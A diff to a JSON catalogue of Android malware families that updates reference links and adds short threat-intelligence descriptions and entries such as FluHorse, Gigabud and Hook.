"https://securelist.com/mobile-malware-evolution-2019/96280/", - "https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/" + "https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/", + "https://securelist.com/mobile-malware-evolution-2019/96280/" ], "synonyms": [], "type": [] @@ -1012,14 +1034,16 @@ "value": "Elibomi" }, { - "description": "", + "description": "According to Intel471, ERMAC, an Android banking trojan enables bad actors to determine when certain apps are launched and then overwrites the screen display to steal the user's credentials", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ermac", "https://twitter.com/ESETresearch/status/1445618031464357888", "https://blog.cyble.com/2022/05/25/ermac-back-in-action/", + "https://www.threatfabric.com/blogs/zombinder-ermac-and-desktop-stealers.html", + "https://intel471.com/blog/rmac-2-0-perfecting-the-art-of-account-takeover", "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html", - "https://intel471.com/blog/rmac-2-0-perfecting-the-art-of-account-takeover" + "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace" ], "synonyms": [], "type": [] @@ -1032,9 +1056,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.eventbot", - "https://www.youtube.com/watch?v=qqwOrLR2rgU", "https://twitter.com/ThreatFabric/status/1240664876558823424", - "https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born" + "https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born", + "https://www.youtube.com/watch?v=qqwOrLR2rgU" ], "synonyms": [], "type": [] @@ -1047,13 +1071,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot", - "https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/", + "https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/", + "https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html", "https://www.bleepingcomputer.com/news/security/source-code-for-exobot-android-banking-trojan-leaked-online/", + "https://www.bleepingcomputer.com/news/security/new-exo-android-trojan-sold-on-hacking-forums-dark-web/", "https://www.bleepingcomputer.com/news/security/exobot-author-calls-it-quits-and-sells-off-banking-trojan-source-code/", "https://blog.cyble.com/2022/03/24/coper-banking-trojan/", - "https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html", - "https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/", - "https://www.bleepingcomputer.com/news/security/new-exo-android-trojan-sold-on-hacking-forums-dark-web/" + "https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/" ], "synonyms": [], "type": [] @@ -1066,10 +1090,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.exodus", - "https://motherboard.vice.com/en_us/article/43z93g/hackers-hid-android-malware-in-google-play-store-exodus-esurv", - "https://securitywithoutborders.org/blog/2019/03/29/exodus.html", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://motherboard.vice.com/en_us/article/eveeq4/prosecutors-investigation-esurv-exodus-malware-on-google-play-store" + "https://motherboard.vice.com/en_us/article/eveeq4/prosecutors-investigation-esurv-exodus-malware-on-google-play-store", + "https://motherboard.vice.com/en_us/article/43z93g/hackers-hid-android-malware-in-google-play-store-exodus-esurv", + "https://securitywithoutborders.org/blog/2019/03/29/exodus.html" ], "synonyms": [], "type": [] @@ -1082,9 +1106,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.facestealer", - "https://www.trendmicro.com/en_us/research/22/e/fake-mobile-apps-steal-facebook-credentials--crypto-related-keys.html", "https://labs.k7computing.com/index.php/facestealer-the-rise-of-facebook-credential-stealer-malware/", - "https://threatpost.com/facestealer-trojan-google-play-facebook/179015/" + "https://threatpost.com/facestealer-trojan-google-play-facebook/179015/", + "https://www.trendmicro.com/en_us/research/22/e/fake-mobile-apps-steal-facebook-credentials--crypto-related-keys.html" ], "synonyms": [], "type": [] @@ -1105,16 +1129,30 @@ "uuid": "d0ae2b6b-5137-4b64-be3e-4bbc9aa007a6", "value": "FakeAdBlocker" }, + { + "description": "According to Kaspersky, Fakecalls is a Trojan that masquerades as a banking app and imitates phone conversations with bank employees.\r\n\r\n", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakecalls", + "https://research.checkpoint.com/2023/south-korean-android-banking-menace-fakecalls/", + "https://www.kaspersky.com.au/blog/fakecalls-banking-trojan/30379/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "014aeab6-2292-4ee5-83d6-fffb0fc21423", + "value": "Fakecalls" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakespy", - "https://www.trendmicro.com/en_us/research/18/f/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users.html", "https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html", - "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", + "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/", + "https://www.trendmicro.com/en_us/research/18/f/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/" + "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681" ], "synonyms": [], "type": [] @@ -1137,6 +1175,32 @@ "uuid": "6c0fc7e4-4629-494f-b471-f7a8cc47c0e0", "value": "FakeGram" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fastfire", + "https://medium.com/s2wblog/unveil-the-evolution-of-kimsuky-targeting-android-devices-with-newly-discovered-mobile-malware-280dae5a650f" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5613da3a-06f5-4363-b468-0b8a03ffc292", + "value": "FastFire" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fastspy", + "https://medium.com/s2wblog/unveil-the-evolution-of-kimsuky-targeting-android-devices-with-newly-discovered-mobile-malware-280dae5a650f" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a5e3e217-3790-4d7c-b67a-906b9ee69034", + "value": "FastSpy" + }, { "description": "", "meta": { @@ -1155,12 +1219,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.finfisher", - "https://github.com/linuzifer/FinSpy-Dokumentation", + "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", + "https://github.com/linuzifer/FinSpy-Dokumentation", "https://securelist.com/finspy-unseen-findings/104322/", "https://securelist.com/new-finspy-ios-and-android-implants-revealed-itw/91685/", - "https://raw.githubusercontent.com/DefensiveLabAgency/FinSpy-for-Android/master/20200806_finspy_android_analysis_public_release.pdf", - "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/" + "https://raw.githubusercontent.com/DefensiveLabAgency/FinSpy-for-Android/master/20200806_finspy_android_analysis_public_release.pdf" ], "synonyms": [], "type": [] @@ -1203,43 +1267,45 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.flubot", - "https://medium.com/csis-techblog/the-brief-glory-of-cabassous-flubot-a-private-android-banking-botnet-bc2ed7917027", - "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", - "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", - "https://twitter.com/alberto__segura/status/1399249798063087621?s=20", - "https://www.f5.com/labs/articles/threat-intelligence/flubots-authors-employ-creative-and-sophisticated-techniques-to-achieve-their-goals-in-version-50-and-beyond", - "https://www.cert.govt.nz/individuals/news-and-events/parcel-delivery-text-message-infecting-android-phones/", - "https://news.netcraft.com/archives/2021/08/17/resurgent-flubot-malware-targets-german-and-polish-banks.html", - "https://news.netcraft.com/archives/2021/08/04/flubot-malware-spreads-to-australia.html", - "https://www.infinitumit.com.tr/flubot-zararlisi/", - "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html", - "https://twitter.com/alberto__segura/status/1395675479194095618", + "https://www.bitsight.com/blog/flubot-malware-persists-most-prevalent-germany-and-spain", "https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html", + "https://twitter.com/alberto__segura/status/1399249798063087621?s=20", + "https://cryptax.medium.com/android-flubot-preparing-for-a-new-campaign-2f7563fc6c06", "https://blog.fox-it.com/2022/06/29/flubot-the-evolution-of-a-notorious-android-banking-malware/", - "https://mobile.twitter.com/alberto__segura/status/1400396365759500289", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://twitter.com/alberto__segura/status/1384840011892285440", "https://securityintelligence.com/posts/story-of-fakechat-malware/", - "https://www.nortonlifelock.com/blogs/research-group/flubot-targets-android-phone-users", - "https://blog.zimperium.com/flubot-vs-zimperium/", - "https://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/", - "https://twitter.com/alberto__segura/status/1404098461440659459", + "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", "https://www.proofpoint.com/us/blog/threat-insight/flubot-android-malware-spreading-rapidly-through-europe-may-hit-us-soon", - "https://www.prodaft.com/m/reports/FluBot_4.pdf", + "https://twitter.com/alberto__segura/status/1395675479194095618", + "https://securityblog.switch.ch/2021/06/19/android-flubot-enters-switzerland/", + "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html", + "https://mobile.twitter.com/alberto__segura/status/1400396365759500289", "https://hispasec.com/resources/FedexBanker.pdf", + "https://medium.com/walmartglobaltech/a-look-at-an-android-bot-from-unpacking-to-dga-e331554f9fb9", + "https://www.infinitumit.com.tr/flubot-zararlisi/", + "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", + "https://therecord.media/despite-arrests-in-spain-flubot-operations-explode-across-europe-and-japan/", + "https://news.netcraft.com/archives/2021/08/04/flubot-malware-spreads-to-australia.html", + "https://www.nortonlifelock.com/blogs/research-group/flubot-targets-android-phone-users", + "https://twitter.com/malwrhunterteam/status/1359939300238983172", + "https://www.cert.govt.nz/individuals/news-and-events/parcel-delivery-text-message-infecting-android-phones/", + "https://blog.zimperium.com/flubot-vs-zimperium/", + "https://www.ncsc.admin.ch/22w12-de", + "https://www.prodaft.com/m/reports/FluBot_4.pdf", "https://raw.githubusercontent.com/prodaft/malware-ioc/master/FluBot/FluBot.pdf", "https://blog.cyble.com/2021/09/09/flubot-variant-masquerading-as-the-default-android-voicemail-app/", - "https://medium.com/walmartglobaltech/a-look-at-an-android-bot-from-unpacking-to-dga-e331554f9fb9", - "https://twitter.com/malwrhunterteam/status/1359939300238983172", - "https://twitter.com/alberto__segura/status/1402615237296148483", - "https://www.europol.europa.eu/media-press/newsroom/news/takedown-of-sms-based-flubot-spyware-infecting-android-phones", - "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", + "https://news.netcraft.com/archives/2021/08/17/resurgent-flubot-malware-targets-german-and-polish-banks.html", + "https://twitter.com/alberto__segura/status/1404098461440659459", + "https://www.f5.com/labs/articles/threat-intelligence/flubots-authors-employ-creative-and-sophisticated-techniques-to-achieve-their-goals-in-version-50-and-beyond", + "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368", "https://therecord.media/flubot-malware-gang-arrested-in-barcelona/", - "https://cryptax.medium.com/android-flubot-preparing-for-a-new-campaign-2f7563fc6c06", - "https://securityblog.switch.ch/2021/06/19/android-flubot-enters-switzerland/", - "https://therecord.media/despite-arrests-in-spain-flubot-operations-explode-across-europe-and-japan/", - "https://twitter.com/alberto__segura/status/1384840011892285440", - "https://www.bitsight.com/blog/flubot-malware-persists-most-prevalent-germany-and-spain", - "https://www.ncsc.admin.ch/22w12-de", - "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368" + "https://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://medium.com/csis-techblog/the-brief-glory-of-cabassous-flubot-a-private-android-banking-botnet-bc2ed7917027", + "https://www.europol.europa.eu/media-press/newsroom/news/takedown-of-sms-based-flubot-spyware-infecting-android-phones", + "https://twitter.com/alberto__segura/status/1402615237296148483" ], "synonyms": [ "Cabassous", @@ -1250,6 +1316,19 @@ "uuid": "ef91833f-3334-4955-9218-f106494e9fc0", "value": "FluBot" }, + { + "description": "According to Check Point, this malware features several malicious Android applications that mimic legitimate applications, most of which have more than 1,000,000 installs. These malicious apps steal the victims’ credentials and Two-Factor Authentication (2FA) codes. FluHorse targets different sectors of Eastern Asian markets and is distributed via emails. In some cases, the emails used in the first stage of the attacks belong to high-profile entities. The malware can remain undetected for months making it a persistent, dangerous, and hard-to-spot threat.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fluhorse", + "https://research.checkpoint.com/2023/eastern-asian-android-assault-fluhorse/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "aeaeb8b2-650e-471d-a901-3c4fbae42854", + "value": "FluHorse" + }, { "description": "Zimperium notes that this malware has hit more than 10,000 victims in 140+ countries using social media hijacking, 3rd party app stores and sideloading. ", "meta": { @@ -1268,8 +1347,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.funkybot", - "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", "https://securelist.com/roaming-mantis-part-v/96250/", + "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", "https://www.fortinet.com/blog/threat-research/funkybot-malware-targets-japan.html" ], "synonyms": [], @@ -1283,12 +1362,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.furball", + "https://www.trendmicro.com/en_us/research/19/f/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.html", "https://www.bleepingcomputer.com/news/security/domestic-kitten-apt-operates-in-silence-since-2016/", - "https://www.virusbulletin.com/conference/vb2019/abstracts/domestic-kitten-iranian-surveillance-program", + "https://www.bleepingcomputer.com/news/security/hacking-group-updates-furball-android-spyware-to-evade-detection/", "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/", "https://documents.trendmicro.com/assets/appendix-mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.pdf", "https://ti.qianxin.com/blog/articles/surprised-by-cyrus-the-great-disclosure-against-Iran-cyrus-attack/", - "https://www.trendmicro.com/en_us/research/19/f/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.html" + "https://www.virusbulletin.com/conference/vb2019/abstracts/domestic-kitten-iranian-surveillance-program" ], "synonyms": [], "type": [] @@ -1301,8 +1381,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.geost", - "https://www.gosecure.net/blog/2020/12/02/deep-dive-into-an-obfuscation-as-a-service-for-android-malware/", - "https://www.virusbulletin.com/virusbulletin/2019/10/vb2019-paper-geost-botnet-story-discovery-new-android-banking-trojan-opsec-error/" + "https://www.virusbulletin.com/virusbulletin/2019/10/vb2019-paper-geost-botnet-story-discovery-new-android-banking-trojan-opsec-error/", + "https://www.gosecure.net/blog/2020/12/02/deep-dive-into-an-obfuscation-as-a-service-for-android-malware/" ], "synonyms": [], "type": [] @@ -1336,17 +1416,31 @@ "uuid": "3b6c1771-6d20-4177-8be0-12116e254bf5", "value": "GhostCtrl" }, + { + "description": "Gigabud is the name of an Android Remote Access Trojan (RAT) Android that can record the victim's screen and steal banking credentials by abusing the Accessibility Service. Gigabud masquerades as banking, shopping, and other applications. Threat actors have been observed using deceptive websites to distribute Gigabud RAT.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.gigabud", + "https://blog.cyble.com/2023/01/19/gigabud-rat-new-android-rat-masquerading-as-government-agencies/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8f188382-7a31-46a5-83c6-5991dfe739ee", + "value": "Gigabud" + }, { "description": "Ginp is a mobile banking software targeting Android devices that was discovered by Kaspersky. The malware is able to steal both user credentials and credit cards numbers by implementing overlay attacks. For this, overlay targets are for example the default SMS application. What makes Ginp a remarkable family is how its operators managed to have it remain undetected over time even and it receiving version upgrades over many years. According to ThreatFabric, Ginp has the following features:\r\n\r\nOverlaying: Dynamic (local overlays obtained from the C2)\r\nSMS harvesting: SMS listing\r\nSMS harvesting: SMS forwarding\r\nContact list collection\r\nApplication listing\r\nOverlaying: Targets list update\r\nSMS: Sending\r\nCalls: Call forwarding\r\nC2 Resilience: Auxiliary C2 list\r\nSelf-protection: Hiding the App icon\r\nSelf-protection: Preventing removal\r\nSelf-protection: Emulation-detection.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ginp", - "https://securityintelligence.com/posts/ginp-malware-operations-rising-expansions-turkey/", - "https://www.youtube.com/watch?v=WeL_xSryj8E", - "https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html", "https://twitter.com/ESETresearch/status/1269945115738542080", "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", - "https://www.kaspersky.com/blog/ginp-trojan-coronavirus-finder/34338/" + "https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html", + "https://www.kaspersky.com/blog/ginp-trojan-coronavirus-finder/34338/", + "https://muha2xmad.github.io/malware-analysis/ginp/", + "https://www.youtube.com/watch?v=WeL_xSryj8E", + "https://securityintelligence.com/posts/ginp-malware-operations-rising-expansions-turkey/" ], "synonyms": [], "type": [] @@ -1359,10 +1453,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.glancelove", - "https://securelist.com/breaking-the-weakest-link-of-the-strongest-chain/77562/", - "https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773", "https://www.idf.il/en/minisites/hamas/hamas-uses-fake-facebook-profiles-to-target-israeli-soldiers/", - "https://www.clearskysec.com/glancelove/" + "https://www.clearskysec.com/glancelove/", + "https://securelist.com/breaking-the-weakest-link-of-the-strongest-chain/77562/", + "https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773" ], "synonyms": [], "type": [] @@ -1383,6 +1477,33 @@ "uuid": "a3b6a355-3afe-49ae-9f87-679c6c382943", "value": "GnatSpy" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.goat_rat", + "https://labs.k7computing.com/index.php/goatrat-attacks-automated-payment-systems/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f699d295-1072-418b-8aa2-cb36fbd4c6c7", + "value": "GoatRAT" + }, + { + "description": "According to PCrisk, GodFather is the name of an Android malware targeting online banking pages and cryptocurrency exchanges in 16 countries. It opens fake login windows over legitimate applications. Threat actors use GodFather to steal account credentials. Additionally, GodFather can steal SMSs, device information, and other data.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.godfather", + "https://muha2xmad.github.io/malware-analysis/godfather/", + "https://blog.group-ib.com/godfather-trojan" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8e95a9d5-08fb-4f11-b70a-622148bd1e62", + "value": "Godfather" + }, { "description": "", "meta": { @@ -1414,8 +1535,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.goontact", - "https://blog.lookout.com/lookout-discovers-new-spyware-goontact-used-by-sextortionists-for-blackmail", - "https://blog.cyble.com/2021/09/03/spyware-variant-disguised-as-korean-video-app-targets-multiple-asian-countries/" + "https://blog.cyble.com/2021/09/03/spyware-variant-disguised-as-korean-video-app-targets-multiple-asian-countries/", + "https://blog.lookout.com/lookout-discovers-new-spyware-goontact-used-by-sextortionists-for-blackmail" ], "synonyms": [], "type": [] @@ -1428,8 +1549,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.gplayed", - "https://blog.talosintelligence.com/2018/10/gplayedtrojan.html", - "https://blog.talosintelligence.com/2018/10/gplayerbanker.html" + "https://blog.talosintelligence.com/2018/10/gplayerbanker.html", + "https://blog.talosintelligence.com/2018/10/gplayedtrojan.html" ], "synonyms": [], "type": [] @@ -1468,12 +1589,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.gustuff", + "https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html", + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", "https://blog.talosintelligence.com/2019/10/gustuffv2.html", "https://www.group-ib.com/media/gustuff/", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", - "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", - "https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html" + "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html" ], "synonyms": [], "type": [] @@ -1501,8 +1622,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hawkshaw", - "https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-hawkshaw", - "https://research.checkpoint.com/2021/going-rogue-a-mastermind-behind-android-malware-returns-with-a-new-rat/" + "https://research.checkpoint.com/2021/going-rogue-a-mastermind-behind-android-malware-returns-with-a-new-rat/", + "https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-hawkshaw" ], "synonyms": [], "type": [] @@ -1515,9 +1636,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.henbox", + "https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/", "https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/", - "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/", - "https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/" + "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/" ], "synonyms": [], "type": [] @@ -1530,8 +1651,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hermit", - "https://www.lighthousereports.nl/investigation/revealing-europes-nso", "https://de.lookout.com/blog/hermit-spyware-discovery", + "https://www.lighthousereports.nl/investigation/revealing-europes-nso", "https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/" ], "synonyms": [], @@ -1558,11 +1679,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hiddenad", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/new-hiddenads-malware-that-runs-automatically-and-hides-on-google-play-1m-users-affected/", "https://labs.bitdefender.com/2020/03/infected-zoom-apps-for-android-target-work-from-home-users", - "https://twitter.com/LukasStefanko/status/1136568939239137280", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/new-hiddenads-malware-that-runs-automatically-and-hides-on-google-play-1m-users-affected/", + "https://securelist.com/mobile-malware-evolution-2019/96280/", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://securelist.com/mobile-malware-evolution-2019/96280/" + "https://twitter.com/LukasStefanko/status/1136568939239137280" ], "synonyms": [], "type": [] @@ -1583,22 +1704,37 @@ "uuid": "96bea6aa-3202-4352-8e36-fa05c677c0e8", "value": "HilalRAT" }, + { + "description": "According to ThreatFabric, this is a malware family based on apk.ermac. The name hook is the self-advertised named by its vendor DukeEugene. It provides WebSocket communication and has RAT capabilities.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hook", + "https://cebrf.knf.gov.pl/komunikaty/artykuly-csirt-knf/362-ostrzezenia/858-hookbot-a-new-mobile-malware", + "https://www.threatfabric.com/blogs/hook-a-new-ermac-fork-with-rat-capabilities.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c101bc42-1011-43f6-9d30-629013c318cd", + "value": "Hook" + }, { "description": "Avira states that Hydra is an Android BankBot variant, a type of malware designed to steal banking credentials. The way it does this is by requesting the user enables dangerous permissions such as accessibility and every time the banking app is opened, the malware is hijacking the user by overwriting the legit banking application login page with a malicious one. The goal is the same, to trick the user to enter his login credentials so that it will go straight to the malware authors.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hydra", - "https://muha2xmad.github.io/malware-analysis/hydra/", "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", - "https://pentest.blog/android-malware-analysis-dissecting-hydra-dropper/", - "https://cryptax.medium.com/android-bianlian-payload-61febabed00a", - "https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5", - "https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", - "https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221", - "https://www.avira.com/en/blog/avira-labs-research-reveals-hydra-banking-trojan-2-0", "https://twitter.com/muha2xmad/status/1570788983474638849", - "https://blog.cyble.com/2022/06/13/hydra-android-malware-distributed-via-play-store/" + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://blog.cyble.com/2022/06/13/hydra-android-malware-distributed-via-play-store/", + "https://www.avira.com/en/blog/avira-labs-research-reveals-hydra-banking-trojan-2-0", + "https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5", + "https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221", + "https://cryptax.medium.com/android-bianlian-payload-61febabed00a", + "https://pentest.blog/android-malware-analysis-dissecting-hydra-dropper/", + "https://muha2xmad.github.io/malware-analysis/hydra/", + "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace", + "https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726" ], "synonyms": [], "type": [] @@ -1627,9 +1763,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.irata", + "https://onecert.ir/portal/blog/irata", "https://twitter.com/muha2xmad/status/1562831996078157826", - "https://muha2xmad.github.io/malware-analysis/irata/", - "https://onecert.ir/portal/blog/irata" + "https://muha2xmad.github.io/malware-analysis/irata/" ], "synonyms": [], "type": [] @@ -1664,22 +1800,22 @@ "value": "JadeRAT" }, { - "description": "", + "description": "Joker is one of the most well-known malware families on Android devices. It manages to take advantage of Google’s official app store with the help of its trail signatures which includes updating the virus’s code, execution process, and payload-retrieval techniques. This malware is capable of stealing users’ personal information including contact details, device data, WAP services, and SMS messages.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.joker", - "https://web.archive.org/web/20210714010827/https://blog.zimperium.com/joker-is-still-no-laughing-matter/", - "https://cryptax.medium.com/tracking-android-joker-payloads-with-medusa-static-analysis-and-patience-672348b81ac2", - "https://cryptax.medium.com/live-reverse-engineering-of-a-trojanized-medical-app-android-joker-632d114073c1", "https://research.checkpoint.com/2020/new-joker-variant-hits-google-play-with-an-old-trick/", "https://www.microsoft.com/security/blog/2022/06/30/toll-fraud-malware-how-an-android-application-can-drain-your-wallet/", - "https://www.trendmicro.com/en_us/research/20/k/an-old-jokers-new-tricks--using-github-to-hide-its-payload.html", - "https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html", + "https://cryptax.medium.com/live-reverse-engineering-of-a-trojanized-medical-app-android-joker-632d114073c1", "https://labs.k7computing.com/index.php/joker-unleashes-itself-again-on-google-play-store/", - "https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus", + "https://web.archive.org/web/20210714010827/https://blog.zimperium.com/joker-is-still-no-laughing-matter/", "https://labs.k7computing.com/?p=22199", - "https://muha2xmad.github.io/malware-analysis/hydra/", - "https://medium.com/csis-techblog/analysis-of-joker-a-spy-premium-subscription-bot-on-googleplay-9ad24f044451" + "https://medium.com/csis-techblog/analysis-of-joker-a-spy-premium-subscription-bot-on-googleplay-9ad24f044451", + 